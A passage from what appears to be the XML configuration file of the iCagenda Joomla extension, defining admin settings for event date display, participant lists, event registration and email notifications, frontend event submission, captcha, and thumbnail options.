			icicon="calendar"
			/>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_EVENT_ALL_DATES_DESC"
			class="stylenote alert alert-info input-xxlarge"
			icicon="info-circle"
			/>
		<field
			name="SingleDates"
			type="radio"
			label="COM_ICAGENDA_EVENT_SINGLE_DATES_LABEL"
			description="COM_ICAGENDA_EVENT_SINGLE_DATES_DESC"
			class="btn-group"
			labelclass="control-label"
			filter="options"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<!--field
			name="accessSingleDates"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			class="inputbox"
			size="1"
		/-->
		<field
			name="SingleDatesOrder"
			type="list"
			label="COM_ICAGENDA_LBL_DATE"
			description="COM_ICAGENDA_DESC_DATE"
			class="inputbox"
			default="1"
			>
			<option value="1">COM_ICAGENDA_DATE_DESC</option>
			<option value="2">COM_ICAGENDA_DATE_ASC</option>
		</field>
		<field
			name="SingleDatesListModel"
			type="list"
			label="COM_ICAGENDA_EVENT_SINGLE_DATES_LIST_LABEL"
			description="COM_ICAGENDA_EVENT_SINGLE_DATES_LIST_DESC"
			class="inputbox"
			default="1"
			>
			<option value="1">COM_ICAGENDA_EVENT_SINGLE_DATES_VERTICAL</option>
			<option value="2">COM_ICAGENDA_EVENT_SINGLE_DATES_HORIZONTAL</option>
		</field>
		<field type="Title" label=" " class="stylenote" />
		<field
			name="PeriodDates"
			type="radio"
			label="COM_ICAGENDA_EVENT_PERIOD_LABEL"
			description="COM_ICAGENDA_EVENT_PERIOD_DESC"
			class="btn-group"
			labelclass="control-label"
			filter="options"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<!--field
			name="accessPeriodDates"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			class="inputbox"
			size="1"
		/-->
		<field
			type="TitleImg"
			label="COM_ICAGENDA_LIST_OF_PARTICIPANTS_LABEL"
			class="stylebox lead input-xxlarge"
			icicon="people"
			/>
		<field
			name="participantList"
			type="radio"
			label="COM_ICAGENDA_LIST_OF_PARTICIPANTS_LABEL"
			description="COM_ICAGENDA_LIST_OF_PARTICIPANTS_DESC"
			class="btn-group"
			labelclass="control-label"
			filter="options"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="accessParticipantList"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="JFIELD_ACCESS_DESC"
			class="inputbox"
			size="1"
			default="1"
			/>
		<field
			name="participantSlide"
			type="radio"
			label="COM_ICAGENDA_LIST_OF_PARTICIPANTS_SLIDE_LABEL"
			description="COM_ICAGENDA_LIST_OF_PARTICIPANTS_SLIDE_DESC"
			class="btn-group"
			labelclass="control-label"
			filter="options"
			default="1"
			>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field
			name="participantDisplay"
			type="list"
			label="COM_ICAGENDA_LIST_OF_PARTICIPANTS_DISPLAY_LABEL"
			description="COM_ICAGENDA_LIST_OF_PARTICIPANTS_DISPLAY_DESC"
			class="inputbox"
			filter="options"
			default="1"
			>
			<option value="1">COM_ICAGENDA_LIST_OF_PARTICIPANTS_DISPLAY_FULL</option>
			<option value="2">COM_ICAGENDA_LIST_OF_PARTICIPANTS_DISPLAY_AVATAR</option>
			<option value="3">COM_ICAGENDA_LIST_OF_PARTICIPANTS_DISPLAY_NAMES</option>
		</field>
		<field
			name="fullListColumns"
			type="radio"
			label="COM_ICAGENDA_LIST_DISPLAY_FULL_COLUMN_LABEL"
			description="COM_ICAGENDA_LIST_DISPLAY_FULL_COLUMN_DESC"
			class="btn-group"
			labelclass="control-label"
			filter="options"
			default="tiers"
			>
			<option value="total">1</option>
			<option value="demi">2</option>
			<option value="tiers">3</option>
			<option value="quart">4</option>
		</field>
	</fieldset>

	<fieldset name="register"
		label="COM_ICAGENDA_REGISTRATION_LABEL"
		description="COM_ICAGENDA_REGISTRATION_TO_EVENT_DESC"
		>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_TITLE_REGISTRATION"
			class="stylebox lead input-xxlarge"
			icicon="register"
			/>
		<field
			name="statutReg"
			type="radio"
			label="COM_ICAGENDA_REGISTRATIONS_LABEL"
			description="COM_ICAGENDA_REGISTRATIONS_DESC"
			class="btn-group"
			labelclass="control-label"
			default="0"
			>
			<option value="0">JOFF</option>
			<option value="1">JON</option>
		</field>
		<field
			name="reg_form_access"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="COM_ICAGENDA_REGISTRATION_ACCESS_LEVEL_DESC"
			class="inputbox"
			size="1"
			default="1"
			/>
		<field
			name="maxRlist"
			type="text"
			label="COM_ICAGENDA_MAX_PER_REGISTRATION_LABEL"
			description="COM_ICAGENDA_MAX_PER_REGISTRATION_DESC"
			class="inputbox input-mini"
			size="2"
			default="5"
			/>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_FORM_LABEL"
			class="stylebox lead input-xxlarge"
			icicon="form"
			/>
		<field
			name="RegButtonText"
			type="modal_ph_regbt"
			label="COM_ICAGENDA_REGISTRATION_BUTTON_TEXT"
			description="COM_ICAGENDA_OVERRIDE_BUTTON_TEXT_DESC"
			default=""
			/>
		<!-- Hidden Control Field for Checkdnsrr -->
		<field
			name="Checkdnsrr"
			type="modal_checkdnsrr"
			label=" "
			description=" "
			/>
		<field type="Title" label="COM_ICAGENDA_REGISTRATION_EMAIL_FIELD" class="stylesub" />
		<field
			name="emailRequired"
			type="radio"
			label="COM_ICAGENDA_REGISTRATION_EMAIL_REQUIRED_LABEL"
			description="COM_ICAGENDA_REGISTRATION_EMAIL_REQUIRED_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field
			name="limitRegEmail"
			type="radio"
			label="COM_ICAGENDA_REGISTRATION_LIMIT_EMAIL_LABEL"
			description="COM_ICAGENDA_REGISTRATION_LIMIT_EMAIL_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field
			name="limitRegDate"
			type="radio"
			label="COM_ICAGENDA_REGISTRATION_LIMIT_DATE_LABEL"
			description="COM_ICAGENDA_REGISTRATION_LIMIT_DATE_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field
			name="emailCheckdnsrr"
			type="radio"
			label="COM_ICAGENDA_REGISTRATION_EMAIL_CHECKDNSRR_LABEL"
			description="COM_ICAGENDA_REGISTRATION_EMAIL_CHECKDNSRR_DESC"
			class="btn-group"
			labelclass="control-label"
			default="0"
			>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field type="Title" label="COM_ICAGENDA_REGISTRATION_EMAIL_CONFIRM_FIELD" class="stylesub" />
		<field
			name="emailConfirm"
			type="radio"
			label="COM_ICAGENDA_REGISTRATION_EMAIL_CONFIRM_DISPLAY_LABEL"
			description="COM_ICAGENDA_REGISTRATION_EMAIL_CONFIRM_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field type="Title" label="COM_ICAGENDA_REGISTRATION_PHONE_FIELD" class="stylesub" />
		<field
			name="phoneDisplay"
			type="radio"
			label="COM_ICAGENDA_REGISTRATION_PHONE_DISPLAY_LABEL"
			description="COM_ICAGENDA_REGISTRATION_PHONE_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="phoneRequired"
			type="radio"
			label="COM_ICAGENDA_REGISTRATION_PHONE_REQUIRED_LABEL"
			description="COM_ICAGENDA_REGISTRATION_PHONE_REQUIRED_DESC"
			class="btn-group"
			labelclass="control-label"
			default="0"
			>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field type="Title" label="COM_ICAGENDA_REGISTRATION_NOTES_FIELD" class="stylesub" />
		<field
			name="notesDisplay"
			type="radio"
			label="COM_ICAGENDA_REGISTRATION_NOTES_DISPLAY_LABEL"
			description="COM_ICAGENDA_REGISTRATION_NOTES_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="0"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field type="Title" label="COM_ICAGENDA_CAPTCHA" class="stylesub" />
		<field
			name="reg_captcha"
			type="radio"
			label="COM_ICAGENDA_CAPTCHA"
			description="COM_ICAGENDA_REGISTRATION_CAPTCHA_DESC"
			class="btn-group"
			labelclass="control-label"
			default="0"
			>
			<option
				value="0">JHIDE</option>
			<option
				value="1">JSHOW</option>
		</field>
		<field type="Title" label="COM_ICAGENDA_FORM_VALIDATE_LBL" class="stylesub" />
		<field
			name="reg_form_validation"
			type="radio"
			label="COM_ICAGENDA_FORM_VALIDATE_LBL"
			description="COM_ICAGENDA_FORM_VALIDATE_DESC"
			class="btn-group"
			labelclass="control-label"
			default=""
			>
			<option
				value="">COM_ICAGENDA_FORM_SERVER_CLIENT_VALIDATION</option>
			<option
				value="1">COM_ICAGENDA_FORM_SERVER_VALIDATION</option>
		</field>
		<!--field
			name="reg_captcha"
			type="plugins"
			folder="captcha"
			default=""
			label="COM_ICAGENDA_CAPTCHA_LABEL"
			description="COM_ICAGENDA_REGISTRATION_CAPTCHA_DESC"
			filter="cmd" >
			<option
				value="">JOPTION_USE_DEFAULT</option>
			<option
				value="0">COM_ICAGENDA_NONE_SELECTED</option>
		</field-->
		<field
			type="TitleImg"
			label="COM_ICAGENDA_REGISTRATION_TERMS_LABEL"
			class="stylebox lead input-xxlarge"
			icicon="iclogo"
			/>
		<field
			name="terms"
			type="radio"
			label="COM_ICAGENDA_REGISTRATION_TERMS_LABEL"
			description="COM_ICAGENDA_REGISTRATION_TERMS_DESC"
			class="btn-group"
			labelclass="control-label"
			default="0"
			>
			<option value="0">JDISABLED</option>
			<option value="1">JENABLED</option>
		</field>
		<field
			name="terms_Type"
			type="modal_ictxt_type"
			label="COM_ICAGENDA_REGISTRATION_TERMS_TEXTTYPE_LABEL"
			description="COM_ICAGENDA_REGISTRATION_TERMS_TEXTTYPE_DESC"
			class="btn-group"
			labelclass="control-label"
			default=""
			/>
		<field
			name="termsArticle"
			type="modal_ictxt_article"
			label=" "
			description="COM_ICAGENDA_FIELD_SELECT_ARTICLE_DESC"
			edit="true"
			clear="true"
			default=""
			/>
		<field
			name="termsContent"
			type="modal_ictxt_content"
			label=" "
			buttons="readmore,pagebreak"
			class="inputbox"
			placeholder="text"
			filter="JComponentHelper::filterText"
			labelclass="control-label"
			/>
		<field
			name="termsDefault"
			type="modal_ictxt_default"
			label=" "
			description="COM_ICAGENDA_REGISTRATION_TERMS"
			/>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_TITLE_REGISTRATION_NOTIFICATIONS"
			class="stylebox lead input-xxlarge"
			icicon="iclogo"
			/>
		<field type="Title" label="COM_ICAGENDA_NOTIFICATION_BY_EMAIL_ADMIN" class="stylesub" />
		<field
			name="emailAdminSend"
			type="radio"
			label="COM_ICAGENDA_NOTIFICATION_BY_EMAIL_ADMIN_LBL"
			description="COM_ICAGENDA_NOTIFICATION_BY_EMAIL_ADMIN_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JDISABLED</option>
			<option value="1">JENABLED</option>
		</field>
		<field type="Title" label="COM_ICAGENDA_NOTIFICATION_BY_EMAIL_ADMIN_SELECTION_INFO"
			class="stylenote alert alert-info" />
		<field
			name="emailAdminSend_select"
			type="list"
			label=" "
			description="COM_ICAGENDA_NOTIFICATION_BY_EMAIL_ADMIN_SELECTION_INFO"
			labelclass="control-label"
			multiple="true"
			default="0"
			>
			<option value="0">COM_ICAGENDA_EMAIL_SITE</option>
			<option value="1">COM_ICAGENDA_EMAIL_CREATOR</option>
			<option value="3">COM_ICAGENDA_EMAIL_EVENT_CONTACT</option>
			<option value="2">COM_ICAGENDA_EMAIL_CUSTOM_LIST</option>
		</field>
		<field
			name="emailAdminSend_Placeholder"
			type="modal_ictext_Placeholder"
			label="COM_ICAGENDA_EMAIL_CUSTOM_LIST"
			description="COM_ICAGENDA_REGISTRATION_EMAIL_ADMIN_CUSTOM_LIST_DESC"
			/>
		<field type="Title" label="COM_ICAGENDA_REGISTRATION_EMAIL_USER" class="stylesub" />
		<field
			name="emailUserSend"
			type="radio"
			label="COM_ICAGENDA_CONFIRMATION_BY_EMAIL_USER_LBL"
			description="COM_ICAGENDA_CONFIRMATION_BY_EMAIL_USER_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JDISABLED</option>
			<option value="1">JENABLED</option>
		</field>
		<field
			name="regEmailUser"
			type="radio"
			label="COM_ICAGENDA_REGISTRATION_EMAIL_USER_PERIOD_DEFAULT_LABEL"
			description="COM_ICAGENDA_REGISTRATION_EMAIL_USER_PERIOD_DEFAULT_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">COM_ICAGENDA_CUSTOM_EMAILS</option>
			<option value="1">JDEFAULT</option>
		</field>
		<field type="Title" label=" " class="stylenote" />
		<field
			type="TitleImg"
			label="COM_ICAGENDA_CUSTOM_EMAILS"
			class="stylebox lead input-xxlarge"
			icicon="iclogo"
			/>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_REGISTRATION_EMAIL_USER_NOTICE"
			class="stylenote alert alert-info"
			icimage="info.png"
			/>
		<field
			type="Title"
			label="COM_ICAGENDA_REGISTRATION_EMAIL_USER_PERIOD"
			class="stylesub"
			/>
		<field
			name="emailUserSubjectPeriod"
			type="modal_ictext_Placeholder"
			label="COM_ICAGENDA_REGISTRATION_EMAIL_USER_PERIOD_CUSTOM_SUBJECT_LBL"
			description="COM_ICAGENDA_REGISTRATION_EMAIL_USER_PERIOD_CUSTOM_SUBJECT_DESC"
			class="input-xxlarge"
			/>
		<field
			name="emailUserBodyPeriod"
			type="modal_iC_editor"
			label="COM_ICAGENDA_REGISTRATION_EMAIL_USER_PERIOD_CUSTOM_BODY_LBL"
			description="COM_ICAGENDA_REGISTRATION_EMAIL_USER_PERIOD_CUSTOM_BODY_DESC"
			rows="10"
			cols="80"
			class="input-xxlarge"
			filter="JComponentHelper::filterText"
			default="COM_ICAGENDA_REGISTRATION_EMAIL_USER_PERIOD_DEFAULT_BODY"
			/>
		<field type="Title" label="COM_ICAGENDA_REGISTRATION_EMAIL_USER_DATE" class="stylesub" />
		<field
			name="emailUserSubjectDate"
			type="modal_ictext_Placeholder"
			label="COM_ICAGENDA_REGISTRATION_EMAIL_USER_DATE_CUSTOM_SUBJECT_LBL"
			description="COM_ICAGENDA_REGISTRATION_EMAIL_USER_DATE_CUSTOM_SUBJECT_DESC"
			class="input-xxlarge"
			/>
		<field
			name="emailUserBodyDate"
			type="modal_iC_editor"
			label="COM_ICAGENDA_REGISTRATION_EMAIL_USER_DATE_CUSTOM_BODY_LBL"
			description="COM_ICAGENDA_REGISTRATION_EMAIL_USER_DATE_CUSTOM_BODY_DESC"
			rows="10"
			cols="80"
			class="input-xxlarge"
			filter="JComponentHelper::filterText"
			default="COM_ICAGENDA_REGISTRATION_EMAIL_USER_DATE_DEFAULT_BODY"
			/>
	</fieldset>

	<fieldset name="submit"
		label="COM_ICAGENDA_SUBMIT_AN_EVENT_LABEL"
		description="COM_ICAGENDA_SUBMIT_AN_EVENT_DESC"
		addfieldpath="/administrator/components/com_content/models/fields"
		>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_SUBMIT_PERMISSIONS_LABEL"
			class="stylebox lead input-xxlarge"
			icicon="private"
			/>
		<field type="Title" label="COM_ICAGENDA_SUBMIT_FRONTEND_ACCESS_LABEL" class="stylesub" />
		<field
			name="submitAccess"
			type="accesslevel"
			label="JFIELD_ACCESS_LABEL"
			description="COM_ICAGENDA_SUBMIT_FRONTEND_ACCESS_DESC"
			multiple="true"
			default="2"
			/>
		<field
			name="submitNotLogin"
			type="modal_ictext_type"
			label="COM_ICAGENDA_SUBMIT_NOT_LOGIN_LBL"
			description="COM_ICAGENDA_SUBMIT_NOT_LOGIN_DESC"
			labelclass="control-label"
			default=""
			/>
		<field
			name="submitNotLogin_Content"
			type="modal_ictext_content"
			label=" "
			class="inputbox"
			labelclass="control-label"
			buttons="readmore,pagebreak"
			placeholder="text"
			filter="JComponentHelper::filterText"
			/>
		<field
			name="submitNoRights"
			type="modal_ictext_type"
			label="COM_ICAGENDA_SUBMIT_NO_RIGHTS_LBL"
			description="COM_ICAGENDA_SUBMIT_NO_RIGHTS_DESC"
			labelclass="control-label"
			default=""
			/>
		<field
			name="submitNoRights_Content"
			type="modal_ictext_content"
			label=" "
			class="inputbox"
			labelclass="control-label"
			buttons="readmore,pagebreak"
			placeholder="text"
			filter="JComponentHelper::filterText"
			/>
		<field type="Title" label="COM_ICAGENDA_SUBMIT_APPROVAL_LABEL" class="stylesub" />
		<field
			name="approvalGroups"
			type="usergroup"
			label="IC_MANAGERS"
			description="COM_ICAGENDA_SUBMIT_APPROVAL_GROUPS_DESC"
			multiple="true"
			default="8"
			/>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_SUBMIT_MANAGERS_NOTE"
			class="stylenote alert alert-info input-xxlarge"
			icicon="info-circle"
			/>
		<!--field
			name="managers_note"
			type="Desc"
			label="COM_ICAGENDA_SUBMIT_MANAGERS_NOTE"
			description="COM_ICAGENDA_SUBMIT_APPROVAL_GROUPS_DESC"
			class="alert span9"
			labelclass="control-label"
			/-->
		<field
			type="TitleImg"
			label="COM_ICAGENDA_FORM_LABEL"
			class="stylebox lead input-xxlarge"
			icicon="form"
			/>
		<field
			name="submit_imageDisplay"
			type="radio"
			label="COM_ICAGENDA_SUBMIT_EVENT_IMAGE_DISPLAY_LABEL"
			description="COM_ICAGENDA_SUBMIT_EVENT_IMAGE_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="submit_imageMaxSize"
			type="text"
			label="COM_ICAGENDA_SUBMIT_EVENT_IMAGE_MAX_SIZE_LABEL"
			description="COM_ICAGENDA_SUBMIT_EVENT_IMAGE_MAX_SIZE_DESC"
			class="inputbox input-mini"
			default="800"
			/>
		<field
			name="submit_periodDisplay"
			type="radio"
			label="COM_ICAGENDA_SUBMIT_PERIOD_DISPLAY_LABEL"
			description="COM_ICAGENDA_SUBMIT_PERIOD_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="submit_weekdaysDisplay"
			type="radio"
			label="COM_ICAGENDA_SUBMIT_WEEKDAYS_DISPLAY_LABEL"
			description="COM_ICAGENDA_SUBMIT_WEEKDAYS_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="submit_datesDisplay"
			type="radio"
			label="COM_ICAGENDA_SUBMIT_DATES_DISPLAY_LABEL"
			description="COM_ICAGENDA_SUBMIT_DATES_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="submit_displaytimeDisplay"
			type="radio"
			class="btn-group"
			default="0"
			label="COM_ICAGENDA_SUBMIT_DISPLAYTIME_DISPLAY_LABEL"
			description="COM_ICAGENDA_SUBMIT_DISPLAYTIME_DISPLAY_DESC"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="submit_shortdescDisplay"
			type="radio"
			label="COM_ICAGENDA_SUBMIT_SHORTDESC_DISPLAY_LABEL"
			description="COM_ICAGENDA_SUBMIT_SHORTDESC_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="submit_descDisplay"
			type="radio"
			label="COM_ICAGENDA_SUBMIT_DESCRIPTION_DISPLAY_LABEL"
			description="COM_ICAGENDA_SUBMIT_DESCRIPTION_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="submit_metadescDisplay"
			type="radio"
			label="COM_ICAGENDA_SUBMIT_METADESCRIPTION_DISPLAY_LABEL"
			description="COM_ICAGENDA_SUBMIT_METADESCRIPTION_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="0"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="submit_venueDisplay"
			type="radio"
			label="COM_ICAGENDA_SUBMIT_VENUE_DISPLAY_LABEL"
			description="COM_ICAGENDA_SUBMIT_VENUE_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="submit_emailDisplay"
			type="radio"
			label="COM_ICAGENDA_SUBMIT_EMAIL_DISPLAY_LABEL"
			description="COM_ICAGENDA_SUBMIT_EMAIL_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="submit_phoneDisplay"
			type="radio"
			label="COM_ICAGENDA_SUBMIT_PHONE_DISPLAY_LABEL"
			description="COM_ICAGENDA_SUBMIT_PHONE_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="submit_websiteDisplay"
			type="radio"
			label="COM_ICAGENDA_SUBMIT_WEBSITE_DISPLAY_LABEL"
			description="COM_ICAGENDA_SUBMIT_WEBSITE_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="submit_customfieldsDisplay"
			type="radio"
			label="COM_ICAGENDA_CUSTOMFIELDS"
			description="COM_ICAGENDA_SUBMIT_CUSTOMFIELDS_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="submit_fileDisplay"
			type="radio"
			label="COM_ICAGENDA_SUBMIT_ATTACHMENT_DISPLAY_LABEL"
			description="COM_ICAGENDA_SUBMIT_ATTACHMENT_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="submit_gmapDisplay"
			type="radio"
			label="COM_ICAGENDA_SUBMIT_GMAP_DISPLAY_LABEL"
			description="COM_ICAGENDA_SUBMIT_GMAP_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<field
			name="submit_regoptionsDisplay"
			type="radio"
			label="COM_ICAGENDA_SUBMIT_REGISTRATION_OPTIONS_DISPLAY_LABEL"
			description="COM_ICAGENDA_SUBMIT_REGISTRATION_OPTIONS_DISPLAY_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JHIDE</option>
			<option value="1">JSHOW</option>
		</field>
		<!--field
			name="submit_captcha"
			type="plugins"
			folder="captcha"
			default=""
			label="COM_ICAGENDA_CAPTCHA_LABEL"
			description="COM_ICAGENDA_SUBMIT_CAPTCHA_DESC"
			filter="cmd" >
			<option
				value="">JOPTION_USE_DEFAULT</option>
			<option
				value="0">COM_ICAGENDA_NONE_SELECTED</option>
		</field-->
		<field
			name="submit_captcha"
			type="radio"
			label="COM_ICAGENDA_CAPTCHA"
			description="COM_ICAGENDA_SUBMIT_CAPTCHA_DESC"
			class="btn-group"
			labelclass="control-label"
			default="0"
			>
			<option
				value="0">JHIDE</option>
			<option
				value="1">JSHOW</option>
		</field>
		<field type="Title" label="COM_ICAGENDA_FORM_VALIDATE_LBL" class="stylesub" />
		<field
			name="submit_form_validation"
			type="radio"
			label="COM_ICAGENDA_FORM_VALIDATE_LBL"
			description="COM_ICAGENDA_FORM_VALIDATE_DESC"
			class="btn-group"
			labelclass="control-label"
			default=""
			>
			<option
				value="">COM_ICAGENDA_FORM_SERVER_CLIENT_VALIDATION</option>
			<option
				value="1">COM_ICAGENDA_FORM_SERVER_VALIDATION</option>
		</field>
		<!--field
			type="TitleImg"
			label="COM_ICAGENDA_SUBMIT_REDIRECT_LABEL"
			class="stylebox lead input-xxlarge"
			icicon="iclogo"
			/-->
		<!--field
			name="submit_redirectUrl"
			type="url"
			label="COM_ICAGENDA_SUBMIT_REDIRECT_URL_LABEL"
			description="COM_ICAGENDA_SUBMIT_REDIRECT_URL_DESC"
			default=""
			hint="http://www.example.com"
			/-->
		<field
			name="submitReturn"
			type="modal_iclink_type"
			label="COM_ICAGENDA_SUBMIT_RETURN_LBL"
			description="COM_ICAGENDA_SUBMIT_RETURN_DESC"
			labelclass="control-label"
			default=""
			/>
		<field
			name="submitReturn_Article"
			type="modal_iclink_article"
			label=" "
			class="inputbox"
			/>
		<field
			name="submitReturn_Url"
			type="modal_iclink_url"
			label=" "
			class="inputbox"
			hint="http://www.example.com"
			/>
		<field
			type="TitleImg"
			label="COM_ICAGENDA_SUBMIT_TOS_LABEL"
			class="stylebox lead input-xxlarge"
			icicon="iclogo"
			/>
		<field
			name="tos"
			type="radio"
			label="COM_ICAGENDA_SUBMIT_TOS_LABEL"
			description="COM_ICAGENDA_SUBMIT_TOS_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JDISABLED</option>
			<option value="1">JENABLED</option>
		</field>
		<field
			name="tos_Type"
			type="modal_ictxt_type"
			label="COM_ICAGENDA_SUBMIT_TOS_TEXTTYPE_LABEL"
			description="COM_ICAGENDA_SUBMIT_TOS_TEXTTYPE_DESC"
			class="btn-group"
			labelclass="control-label"
			default=""
			/>
		<field
			name="tosArticle"
			type="modal_ictxt_article"
			label=" "
			description="COM_ICAGENDA_FIELD_SELECT_ARTICLE_DESC"
			edit="true"
			clear="true"
			default=""
			/>
		<field
			name="tosContent"
			type="modal_ictxt_content"
			label=" "
			class="inputbox"
			labelclass="control-label"
			buttons="readmore,pagebreak"
			placeholder="text"
			filter="JComponentHelper::filterText"
			/>
		<field
			name="tosDefault"
			type="modal_ictxt_default"
			label=" "
			description="COM_ICAGENDA_TOS"
			/>
	</fieldset>

	<fieldset name="global"
		label="COM_ICAGENDA_GLOBAL_PARAMS_LABEL"
		description="COM_ICAGENDA_GLOBAL_PARAMS_INFO"
		>
		<!-- Captcha plugin -->
		<field
			type="TitleImg"
			label="COM_ICAGENDA_CAPTCHA_LABEL"
			class="stylebox lead input-xxlarge"
			icicon="iclogo"
			/>
		<field
			name="captcha"
			type="plugins"
			folder="captcha"
			default=""
			label="COM_ICAGENDA_CAPTCHA_LABEL"
			description="COM_ICAGENDA_CAPTCHA_DESC"
			filter="cmd" >
			<option
				value="">JOPTION_USE_DEFAULT</option>
			<!--option
				value="0">COM_ICAGENDA_NONE_SELECTED</option-->
		</field>
		<!-- Screen Width Thresholds -->
		<field
			type="TitleImg"
			label="COM_ICAGENDA_SCREEN_WIDTH_THRESHOLDS_LABEL"
			class="stylebox lead input-xxlarge"
			icicon="screen"
			/>
		<field
			name="largewidththreshold"
			type="text"
			label="COM_ICAGENDA_LARGE_WIDTH_THRESHOLD_LABEL"
			description="COM_ICAGENDA_LARGE_WIDTH_THRESHOLD_DESC"
			size="30"
			class="inputbox"
			default="1201"
			/>
		<field
			name="mediumwidththreshold"
			type="text"
			label="COM_ICAGENDA_MEDIUM_WIDTH_THRESHOLD_LABEL"
			description="COM_ICAGENDA_MEDIUM_WIDTH_THRESHOLD_DESC"
			size="30"
			class="inputbox"
			default="769"
			/>
		<field
			name="smallwidththreshold"
			type="text"
			label="COM_ICAGENDA_SMALL_WIDTH_THRESHOLD_LABEL"
			description="COM_ICAGENDA_SMALL_WIDTH_THRESHOLD_DESC"
			size="30"
			class="inputbox"
			default="481"
			/>
		<!-- Thumbnails -->
		<field
			type="TitleImg"
			label="COM_ICAGENDA_THUMBNAILS_LABEL"
			class="stylebox lead input-xxlarge"
			icicon="thumbs"
			/>
		<field
			name="thumb_generator"
			type="radio"
			label="COM_ICAGENDA_ICTHUMB_LABEL"
			description="COM_ICAGENDA_ICTHUMB_DESC"
			class="btn-group"
			labelclass="control-label"
			default="1"
			>
			<option value="0">JNO</option>
			<option value="1">JYES</option>
		</field>
		<field
			name="thumb_large"
			type="modal_thumbs"
			label="COM_ICAGENDA_THUMB_LARGE_LBL"
			description="COM_ICAGENDA_THUMB_LARGE_DESC"
			class="input-small"
			labelclass="control-label"
			/>
		<field
			name="thumb_medium"
			type="modal_thumbs"
			label="COM_ICAGENDA_THUMB_MEDIUM_LBL"
			description="COM_ICAGENDA_THUMB_MEDIUM_DESC"
			class="input-small"
			labelclass="control-label"
			/>
		<field
			name="thumb_small"
			type="modal_thumbs"
			label="COM_ICAGENDA_THUMB_SMALL_LBL"
			description="COM_ICAGENDA_THUMB_SMALL_DESC"
			class="input-small"
			labelclass="control-label"
			/>
		<field
			name="thumb_xsmall"
			type="modal_thumbs"
			label="COM_ICAGENDA_THUMB_XSMALL_LBL"
